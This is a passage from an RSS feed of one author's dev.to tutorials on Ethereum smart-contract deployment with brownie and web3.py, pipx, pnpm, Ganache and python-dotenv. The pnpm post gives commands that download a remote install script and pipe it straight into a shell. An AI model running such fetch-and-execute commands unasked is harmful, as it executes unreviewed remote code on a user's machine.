&lt;p&gt;Protecting your email and phone number from bots on your website is essential to maintaining online privacy. This HTML approach provides a practical and user-friendly way to obfuscate your contact information, helping you stay one step ahead of malicious web crawlers. Consider implementing this technique on your website to enhance your online security effortlessly.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Save time developing smart-contracts with brownie</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Tue, 21 Jun 2022 03:10:55 +0000</pubDate>
      <link>https://dev.to/mrhili/save-time-developing-smart-contracts-with-brownie-4me9</link>
      <guid>https://dev.to/mrhili/save-time-developing-smart-contracts-with-brownie-4me9</guid>
      <description>&lt;h1&gt;
  
  
  Seting up the Environment
&lt;/h1&gt;

&lt;p&gt;First download python in my windows machine using the link below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.python.org/"&gt;https://www.python.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The most important thing is to get the build tools necessary for the web3 library in my case i needed V++ 2019 build tools&lt;/p&gt;

&lt;p&gt;Use the link bellow and scroll down to Tools for Visual Studio to get the online installer and install the needed version &lt;/p&gt;

&lt;p&gt;&lt;a href="https://visualstudio.microsoft.com/downloads/?q=build+tools"&gt;https://visualstudio.microsoft.com/downloads/?q=build+tools&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/qsvwg-cC928"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Get a metamask wallet for the test only and create an account and register down&lt;/p&gt;

&lt;p&gt;the passphrase, Account adress, The private keys&lt;/p&gt;

&lt;p&gt;in the metamask network section reveal the testnet because we will use rinkbey test for this purpose&lt;/p&gt;

&lt;p&gt;Get some  etherium for the test using youre metamasc wallet here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=qsvwg-cC928"&gt;https://www.youtube.com/watch?v=qsvwg-cC928&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://faucets.chain.link/"&gt;https://faucets.chain.link/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create an account in &lt;a href="https://infura.io/"&gt;https://infura.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create a project and name it however you like Just dont forget to turn the rinkby network after the creation process.&lt;br&gt;
and write down the Project_id and the Project secret and the first endpoint&lt;/p&gt;

&lt;p&gt;If you dont like Infura you can use : &lt;a href="https://alchemyapi.io"&gt;https://t.co/Ky3JWP8GPZ&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install Visualstudio code in the link bellow&lt;/p&gt;

&lt;p&gt;&lt;a href="https://code.visualstudio.com/"&gt;https://code.visualstudio.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install some usefull extensions for solidity and python&lt;/p&gt;

&lt;p&gt;Open a new project and start creatingthose files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;.env&lt;/li&gt;
&lt;li&gt;brownie-config.yaml&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You dont need to create a virtual environement just install pipx with administrator rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python -m pip install --user pipx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;reopen powershell and continue&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python -m pipx ensurepath
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;reopen powershell and install brownie&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pipx install eth-brownie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;reopen powershell again and init required files for brownie&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;brownie init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you have those new folders&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;build&lt;/li&gt;
&lt;li&gt;contracts&lt;/li&gt;
&lt;li&gt;interfaces&lt;/li&gt;
&lt;li&gt;reports&lt;/li&gt;
&lt;li&gt;scripts&lt;/li&gt;
&lt;li&gt;tests&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Environement variable
&lt;/h1&gt;

&lt;p&gt;Add a required environement variable with the name &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;WEB3_INFURA_PROJECT_ID&lt;br&gt;
most be equal to youre INFURA_ID in the project created&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/gb9e3m98avk"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h1&gt;
  
  
  SimpleStorage.sol
&lt;/h1&gt;

&lt;p&gt;The code for the SimpleStorage.sol is :&lt;br&gt;
create the file under contracts folder&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

 // SPDX-License-Identifier: MIT

pragma solidity &amp;gt;=0.6.0 &amp;lt;0.9.0;

contract SimpleStorage {

    uint256 favoriteNumber;

    // This is a comment!
    struct People {
        uint256 favoriteNumber;
        string name;
    }

    People[] public people;
    mapping(string =&amp;gt; uint256) public nameToFavoriteNumber;

    function store(uint256 _favoriteNumber) public {
        favoriteNumber = _favoriteNumber;
    }

    function retrieve() public view returns (uint256){
        return favoriteNumber;
    }

    function addPerson(string memory _name, uint256 _favoriteNumber) public {
        people.push(People(_favoriteNumber, _name));
        nameToFavoriteNumber[_name] = _favoriteNumber;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;In the code above we just have a favoriteNumber variable that we can check with retrieve function and modify with the store functionand we can associate someone name with a favorite number with addPerson function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Deploy.py
&lt;/h1&gt;

&lt;p&gt;the code of the deploy.pyshould be the same as:&lt;br&gt;
create the file under scripts folder&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#Security
from dotenv import load_dotenv

#Necessary



from brownie import accounts, config, SimpleStorage, network





def get_account():

    if network.show_active() == "development":
        return accounts.add(config["wallets"]["from_key"])
    else:
        return accounts.add(config["wallets"]["from_key_metama"])

def deploy_ss():


    print("ACCOUNT  =&amp;gt;",get_account())

    ss= SimpleStorage.deploy({"from": get_account()})

    trx = ss.store(7, {"from": get_account()})

    trx.wait(1)

    fav = ss.retrieve()


    print("FAV NOW   =&amp;gt;",fav)




def main():


    deploy_ss()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;In the code above we are deploying the smart contract in the blockchain and interacting with it by storing the number 7 in favoriteNumber and the checking it&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  .env/Private keys
&lt;/h1&gt;

&lt;p&gt;Now we should fill the necessary keys, you can escape the first two variables because it only needed in a local interaction with Ganache &lt;/p&gt;

&lt;p&gt;.env file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ACCOUNT="0xRandom3216547986549687"
PRIVAT_KEY="0xRandom3216547986549687"


INFURA_ID="654random65465"
INFURA_SEC="654random65465"

META_ADRESS="0x654random65465"
META_PRV="654random65465"

ENDPOINT_RINKBY="654random65465"

ENV_TYPE="INFURA"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Configs
&lt;/h1&gt;

&lt;p&gt;In the file brownie-config.yaml load where .env file are abd what the variable name for the private key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dotenv: "../.env"


wallets:
  from_key: ${PRIVAT_KEY}
  from_key_metama: ${META_PRV}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Deploying/Interaction
&lt;/h1&gt;

&lt;p&gt;You just need a final step is running :&lt;/p&gt;

&lt;p&gt;brownie run scripts/deploy.py --network rinkeby&lt;/p&gt;

&lt;p&gt;I hope everything fine&lt;/p&gt;

&lt;p&gt;if so check you contract here :&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://rinkeby.etherscan.io/address/write_the_adress_of_the_contract"&gt;https://rinkeby.etherscan.io/address/write_the_adress_of_the_contract&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;you can get the contract adress with the info given by youre brownie output&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;SimpleStorage deployed at: 0xsdfsdfrandomsdfsdf&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;for the needygreedy tutorialplease follow it here:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/M576WGiDBdQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Tired of creating virtual environement each time?</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Thu, 16 Jun 2022 02:00:30 +0000</pubDate>
      <link>https://dev.to/mrhili/tired-of-creating-virtual-environement-each-time-2off</link>
      <guid>https://dev.to/mrhili/tired-of-creating-virtual-environement-each-time-2off</guid>
      <description>&lt;p&gt;pipx is a package manager that you can use to create sandboxes and you can call them everytime you need them, no need to create a virtual environement evrytime you create a new project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 -m pip install --user pipx

python3 -m pipx ensurepath
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you can start using it like pip with the command :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 -m pipx install ?PACKAGE2INSTALL?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>python</category>
      <category>pip</category>
      <category>pipx</category>
      <category>env</category>
    </item>
    <item>
      <title>Ho i managed to put my first etherium smart-contract on a testnet using python</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Thu, 16 Jun 2022 01:11:23 +0000</pubDate>
      <link>https://dev.to/mrhili/ho-managed-to-put-my-first-etherium-smart-contract-on-a-testnet-using-python-4c1p</link>
      <guid>https://dev.to/mrhili/ho-managed-to-put-my-first-etherium-smart-contract-on-a-testnet-using-python-4c1p</guid>
      <description>&lt;h1&gt;
  
  
  Seting up the Environment
&lt;/h1&gt;

&lt;p&gt;First i downloaded python in my windows machine using the link below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.python.org/"&gt;https://www.python.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The most important thing is to get the build tools necessary for the web3 library in my case i needed V++ 2019 build tools&lt;/p&gt;

&lt;p&gt;Use the link bellow and scroll down to Tools for Visual Studio to get the online installer and install the needed version &lt;/p&gt;

&lt;p&gt;&lt;a href="https://visualstudio.microsoft.com/downloads/?q=build+tools"&gt;https://visualstudio.microsoft.com/downloads/?q=build+tools&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/qsvwg-cC928"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Get a metamask wallet for the test only and create an account and register down&lt;/p&gt;

&lt;p&gt;the passphrase, Account adress, The private keys&lt;/p&gt;

&lt;p&gt;in the metamask network section reveal the testnet because we will use rinkbey test for this purpose&lt;/p&gt;

&lt;p&gt;Get some  etherium for the test using youre metamasc wallet here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=qsvwg-cC928"&gt;https://www.youtube.com/watch?v=qsvwg-cC928&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://faucets.chain.link/"&gt;https://faucets.chain.link/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create an account in &lt;a href="https://infura.io/"&gt;https://infura.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create a project and name it however you like Just dont forget to turn the rinkby network after the creation process.&lt;br&gt;
and write down the Project_id and the Project secret and the first endpoint&lt;/p&gt;

&lt;p&gt;If you dont like Infura you can use : &lt;a href="https://alchemyapi.io"&gt;https://t.co/Ky3JWP8GPZ&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install Visualstudio code in the link bellow&lt;/p&gt;

&lt;p&gt;&lt;a href="https://code.visualstudio.com/"&gt;https://code.visualstudio.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install some usefull extensions for solidity and python&lt;/p&gt;

&lt;p&gt;Open a new project and start creatingthose files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;deploy.py&lt;/li&gt;
&lt;li&gt;SimpleStorage.sol&lt;/li&gt;
&lt;li&gt;.env&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;create a virtual env and we will name it 'venv' with this command :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;py -m venv venv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;start using it now with this command each time you you open the powershell with :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;venv\Scripts\activate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;start installing the necessary libraries&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install web3
pip install python-dotenv
pip install py-solc-x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  SimpleStorage.sol
&lt;/h1&gt;

&lt;p&gt;The code for the SimpleStorage.sol is :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

 // SPDX-License-Identifier: MIT

pragma solidity &amp;gt;=0.6.0 &amp;lt;0.9.0;

contract SimpleStorage {

    uint256 favoriteNumber;

    // This is a comment!
    struct People {
        uint256 favoriteNumber;
        string name;
    }

    People[] public people;
    mapping(string =&amp;gt; uint256) public nameToFavoriteNumber;

    function store(uint256 _favoriteNumber) public {
        favoriteNumber = _favoriteNumber;
    }

    function retrieve() public view returns (uint256){
        return favoriteNumber;
    }

    function addPerson(string memory _name, uint256 _favoriteNumber) public {
        people.push(People(_favoriteNumber, _name));
        nameToFavoriteNumber[_name] = _favoriteNumber;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;In the code above we just have a favoriteNumber variable that we can check with retrieve function and modify with the store functionand we can associate someone name with a favorite number with addPerson function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Deploy.py
&lt;/h1&gt;

&lt;p&gt;the code of the deploy.pyshould be the same as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#Necessary
import json
import os
from pathlib import Path

#Security
from dotenv import load_dotenv

#Web3
from solcx import compile_standard, set_solc_version
from web3 import Web3






#Get hidden variables

load_dotenv(Path('.env'))

ENV_TYPE = os.getenv('ENV_TYPE')
#GANACHE
PRIVATE_KEY = os.getenv('PRIVAT_KEY')
ACCOUNT = os.getenv('ACCOUNT')

#INFURA
INFURA_ID = os.getenv('INFURA_ID')
INFURA_SEC = os.getenv('INFURA_SEC')
ENDPOINT_RINKBY = os.getenv('ENDPOINT_RINKBY')
#METAMASK
META_ADRESS = os.getenv('META_ADRESS')
META_PRV = os.getenv('META_PRV')


#SETUP THE CONTRACT

with open(Path('SimpleStorage.sol'), "r") as f:


    ss_file = f.read()



_solc_version = "0.6.0"

compiled_ss = compile_standard({
    "language":"Solidity","sources": {"SimpleStorage.sol": {"content": ss_file}},
    "settings":{
        "outputSelection":{
            "*":{
                "*":["abi", "metadata", "evm.bytecode","evm.sourceMap"]
            }
        }
    }

}, solc_version ="0.6.0")


with open(Path('compiled.json'), 'w' ) as f:

    json.dump(compiled_ss, f)

#get bytecode
bytecode= compiled_ss["contracts"]["SimpleStorage.sol"]["SimpleStorage"]["evm"]["bytecode"]["object"]
#get ABI
abi= compiled_ss["contracts"]["SimpleStorage.sol"]["SimpleStorage"]["abi"]


#SETUP PRIVATE KEYS

if ENV_TYPE == "INFURA":

    w3 = Web3(Web3.HTTPProvider(ENDPOINT_RINKBY))
    chain_id = 4

    my_address = META_ADRESS
    private_key = META_PRV

else:

    w3 = Web3(Web3.HTTPProvider("HTTP://127.0.0.1:8545"))
    chain_id = 1337

    my_address = ACCOUNT
    private_key = PRIVATE_KEY




ss = w3.eth.contract(abi=abi, bytecode=bytecode)


if  w3.isConnected():
    # print(ss)

    #get latest transaction to build the nounce
    nonce=w3.eth.getTransactionCount(my_address)
    #build transact
    #sign
    #send transact
    deploy_transaction = ss.constructor().buildTransaction({"gasPrice": w3.eth.gas_price,"chainId": chain_id, "from": my_address, "nonce": nonce})

    nonce = nonce+1    
    #Sign transaction
    signed_txn = w3.eth.account.sign_transaction(deploy_transaction, private_key=private_key)


    #send to blockchain

    print("deploying contract ...")

    txn_hash =  w3.eth.send_raw_transaction( signed_txn.rawTransaction )

    tx_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)

    print("tx_receipt =&amp;gt;", tx_receipt)

    ##Contract adress and ABI

    contract_adress = tx_receipt.contractAddress

    #for interaction
    #transact or call

    ss_contract =  w3.eth.contract(address=contract_adress, abi=abi)


    store_transaction = ss_contract.functions.store(7).buildTransaction({"gasPrice": w3.eth.gas_price,"chainId": chain_id, "from": my_address, "nonce": nonce})


    signed_store_txn = w3.eth.account.sign_transaction(store_transaction, private_key=private_key)


    #send to blockchain

    print("interacting with store function ...")

    txn_store_hash =  w3.eth.send_raw_transaction( signed_store_txn.rawTransaction )

    tx_store_receipt = w3.eth.wait_for_transaction_receipt(txn_store_hash)

    print("tx_store_receipt =&amp;gt;", tx_store_receipt)

    print("---")

    print("call retreive =&amp;gt;", ss_contract.functions.retrieve().call())







else:

    print("Error not conected")

    quit()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;In the code above we are creating the smart contractin the blockchain and interacting with it by storing the number 7 in favoriteNumber and the checkingit&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  .env/Private keys
&lt;/h1&gt;

&lt;p&gt;Now we should fill the necessary keys, you can escape the first two variables because it only needed in a local interaction with Ganache &lt;/p&gt;

&lt;p&gt;.env file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ACCOUNT="0xRandom3216547986549687"
PRIVAT_KEY="0xRandom3216547986549687"


INFURA_ID="654random65465"
INFURA_SEC="654random65465"

META_ADRESS="0x654random65465"
META_PRV="654random65465"

ENDPOINT_RINKBY="654random65465"

ENV_TYPE="INFURA"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Deploying/Interaction
&lt;/h1&gt;

&lt;p&gt;You just need a final step is running :&lt;/p&gt;

&lt;p&gt;py deploy.py&lt;/p&gt;

&lt;p&gt;I hope everything fine&lt;/p&gt;

&lt;p&gt;if so check you contract here :&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://rinkeby.etherscan.io/address/write_the_adress_of_the_contract"&gt;https://rinkeby.etherscan.io/address/write_the_adress_of_the_contract&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;you can get the contract adress with the info given by youre python output&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;'contractAddress': '0x21321random321321'&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;for the needygreedy tutorialplease follow it here:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/M576WGiDBdQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>python</category>
      <category>web3</category>
      <category>etherium</category>
    </item>
    <item>
      <title>Error: Cannot find module 'core-util-is'</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Tue, 14 Jun 2022 23:29:10 +0000</pubDate>
      <link>https://dev.to/mrhili/error-cannot-find-module-core-util-is-49e8</link>
      <guid>https://dev.to/mrhili/error-cannot-find-module-core-util-is-49e8</guid>
      <description>&lt;p&gt;This npm error can be solved via another package manager, in this article we will solve it with the command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pnpm install --save core-util-is
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you dont have pnpm in youre environement please follow our article : &lt;a href="https://dev.to/mrhili/what-is-pnpm-2l87"&gt;https://dev.to/mrhili/what-is-pnpm-2l87&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>What is pnpm?</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Tue, 14 Jun 2022 23:21:13 +0000</pubDate>
      <link>https://dev.to/mrhili/what-is-pnpm-2l87</link>
      <guid>https://dev.to/mrhili/what-is-pnpm-2l87</guid>
      <description>&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/d1E31WPR70g"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;PNPM try to be fast and use symlink for duplicated files so try it&lt;/p&gt;

&lt;p&gt;The fastest way to install pnpm is to have node.js  version  &amp;gt;=16.10&lt;/p&gt;

&lt;p&gt;to do the easiest command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;corepack enable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;if less&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i -g corepack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;if those command dont work and you are in windows use this command in powershell :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;iwr https://get.pnpm.io/install.ps1 -useb | iex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;in macOS or linux  using curl or wget , youre choice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget -qO- https://get.pnpm.io/install.sh | sh -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -fsSL https://get.pnpm.io/install.sh | sh -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>pnpm</category>
      <category>node</category>
      <category>windows</category>
      <category>linux</category>
    </item>
    <item>
      <title>Create fake blockchaine to test youre smart-contract</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Tue, 14 Jun 2022 22:36:31 +0000</pubDate>
      <link>https://dev.to/mrhili/create-fake-blockchaine-to-test-youre-smart-contract-39ng</link>
      <guid>https://dev.to/mrhili/create-fake-blockchaine-to-test-youre-smart-contract-39ng</guid>
      <description>&lt;p&gt;To create a fake blockchain wich you can test youre smartcontract written with Solidity you need Ganach software or a Ganache CLI.&lt;/p&gt;

&lt;p&gt;Ganache is the latest version of TestRPC: a fast and customizable blockchain emulator. It allows you to make calls to the blockchain without the overheads of running an actual Ethereum node.&lt;/p&gt;

&lt;h1&gt;
  
  
  Usage
&lt;/h1&gt;

&lt;p&gt;Transactions are “mined” instantly.&lt;br&gt;
No transaction cost.&lt;br&gt;
Accounts can be re-cycled, reset and instantiated with a fixed amount of Ether (no need for faucets or mining).&lt;br&gt;
Gas price and mining speed can be modified.&lt;br&gt;
A convenient GUI gives you an overview of your testchain events.&lt;/p&gt;

&lt;p&gt;To install ganache software visite this website : &lt;a href="https://trufflesuite.com/ganache/"&gt;https://trufflesuite.com/ganache/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To get ganache-cli you need Node.js first&lt;/p&gt;
&lt;h1&gt;
  
  
  Installation
&lt;/h1&gt;

&lt;p&gt;Install it here: &lt;a href="https://nodejs.org/"&gt;https://nodejs.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ganache can be installed via NPM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install -g ganache-cli

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using Ganache CLI&lt;br&gt;
Command Line&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ganache-cli &amp;lt;options&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Note
&lt;/h1&gt;

&lt;p&gt;If you have trouble using npm please try pnpm it save me alot.&lt;br&gt;
I have a post discussing pnpm here: &lt;a href="https://dev.to/mrhili/what-is-pnpm-2l87"&gt;https://dev.to/mrhili/what-is-pnpm-2l87&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>smartcontract</category>
      <category>ganache</category>
      <category>etherium</category>
      <category>node</category>
    </item>
    <item>
      <title>Python .env</title>
      <dc:creator>Mrhili Mohamed Amine</dc:creator>
      <pubDate>Tue, 14 Jun 2022 01:08:26 +0000</pubDate>
      <link>https://dev.to/mrhili/python-env-3oea</link>
      <guid>https://dev.to/mrhili/python-env-3oea</guid>
      <description>&lt;p&gt;If your application takes its configuration from environment variables, like a 12-factor application, launching it in development is not very practical because you have to set those environment variables yourself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install python-dotenv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To help you with that, you can add Python-dotenv to your application to make it load the configuration from a .env file when it is present (e.g. in development) while remaining configurable via the environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from dotenv import load_dotenv

load_dotenv()  # take environment variables from .env.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code of your application, which uses environment variables (e.g. from os.environ or&lt;br&gt;
os.getenv) as if they came from the actual environment.&lt;br&gt;
By default, load_dotenv doesn't override existing environment variables.&lt;/p&gt;

&lt;p&gt;To configure the development environment, add a .env in the root directory of your project:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;.&lt;br&gt;
├── .env&lt;br&gt;
└── foo.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The syntax of .env files supported by python-dotenv is similar to that of Bash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Development settings
DOMAIN=example.org
ADMIN_EMAIL=admin@${DOMAIN}
ROOT_URL=${DOMAIN}/app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you use variables in values, ensure they are surrounded with { and }, like ${DOMAIN}, as bare variables such as $DOMAIN are not expanded.&lt;/p&gt;

&lt;p&gt;You will probably want to add .env to your .gitignore, especially if it contains secrets like a password.&lt;/p&gt;

</description>
      <category>python</category>
      <category>environement</category>
      <category>security</category>
    </item>
  </channel>
</rss>
